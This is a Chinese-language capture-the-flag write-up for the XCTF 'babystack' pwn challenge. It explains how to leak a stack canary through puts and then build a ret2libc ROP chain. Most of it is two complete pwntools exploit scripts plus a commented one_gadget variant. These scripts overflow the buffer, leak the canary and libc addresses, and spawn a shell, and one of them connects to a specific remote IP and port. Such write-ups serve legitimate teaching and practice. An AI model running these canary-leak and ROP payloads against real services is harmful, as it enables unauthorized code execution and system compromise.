攻防世界进阶区pwn1

拿到题目checksec一下,发现开了canary保护。
攻防世界进阶区pwn1_第1张图片
分析源程序,也很容易找到溢出点,题目开了canary,很显然v6就是canary,s与v6的距离为0x90-0x8=0x88.题目得逻辑也很简单,输入1进行read操作,2进行puts,3退出。攻防世界进阶区pwn1_第2张图片
那么思路就很清楚了,通过read填充0x88个a,然后通过puts打印,因为puts碰到\x00才会停止打印,
那么就会有疑惑了,众所周知canary的最后一个字节为\x00,那打印0x88个’a’之后不是直接停止打印了吗?后来用gdb看了一下发现canary的最后一个字节被填充成了0x0a(换行符)

输入a之前
攻防世界进阶区pwn1_第3张图片
输入a之后
攻防世界进阶区pwn1_第4张图片
也就是说如果puts的话我们的canary会完整的打印下来(最后一个字节不要,因为最后一个字节应该是\x00)
获取canary:

r.sendlineafter('>> ', '1')
sleep(0.5)
r.sendline('a'*0x88)
r.sendlineafter('>> ', '2')
r.recvuntil('a\n')
canary = u64('\x00'+ r.recv(7))

获得canary之后,我们就可以利用刚开始发现的栈溢出漏洞了。
需要注意的是,题目给的libc有点问题,用正常的ret2libc调用给的libc库构造system("/bin/sh")的方法行不通。我找到了三种方法1.将"/bin/sh"改成"/sh\0",2.使用LibcSearcher打远程,3.使用题目提供的libc库找one_gadget
exp1:

from pwn import*

#r = process('./babystack')
r = remote('')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

pop_rdi = 0x400a93
main = 0x400908
one_gadget = 0x45216

r.sendlineafter('>> ', '1')
r.sendline('a'*0x88)
r.sendlineafter('>> ', '2')
r.recvuntil('a\n')
canary = u64('\x00'+ r.recv(7))
print hex(canary)

#gdb.attach(r)
#pause()

r.sendlineafter('>> ', '1')
payload = 'a'*0x88
payload += p64(canary)
payload += 'a'*8
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main)
r.sendline(payload)
r.sendlineafter('>> ', '3')
puts_addr = u64(r.recv(8).ljust(8,'\x00'))


libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search("sh\0").next()
r.sendlineafter('>> ', '1')
payload2 = 'a'*0x88
payload2 += p64(canary)
payload2 += 'a'*8
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
r.sendline(payload2)
r.sendlineafter('>> ', '3')
r.interactive()

exp2:

from pwn import*
from LibcSearcher import LibcSearcher

#r = process('./babystack')
r = remote('220.249.52.133', '49994')
elf = ELF('./babystack')
#libc = ELF('./libc-2.23.so')

pop_rdi = 0x400a93
main = 0x400908

r.sendlineafter('>> ', '1')
r.sendline('a'*0x88)
r.sendlineafter('>> ', '2')
r.recvuntil('a\n')
canary = u64('\x00'+ r.recv(7))
print hex(canary)

#gdb.attach(r)
#pause()

r.sendlineafter('>> ', '1')
payload = 'a'*0x88
payload += p64(canary)
payload += 'a'*8
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main)
r.sendline(payload)
r.sendlineafter('>> ', '3')
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

# method2
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
r.sendlineafter('>> ', '1')
payload2 = 'a'*0x88
payload2 += p64(canary)
payload2 += 'a'*8
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
r.sendline(payload2)
r.sendlineafter('>> ', '3')
r.interactive()

'''
# method3
one_gadget = 0x45216
execve_addr = puts_addr - (libc.symbols['puts'] - one_gadget)
 
payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)
 
r.sendlineafter(">> ","1")
r.sendline(payload2)
r.sendlineafter(">> ","3")
r.interactive()
'''

你可能感兴趣的:(攻防世界,CTF)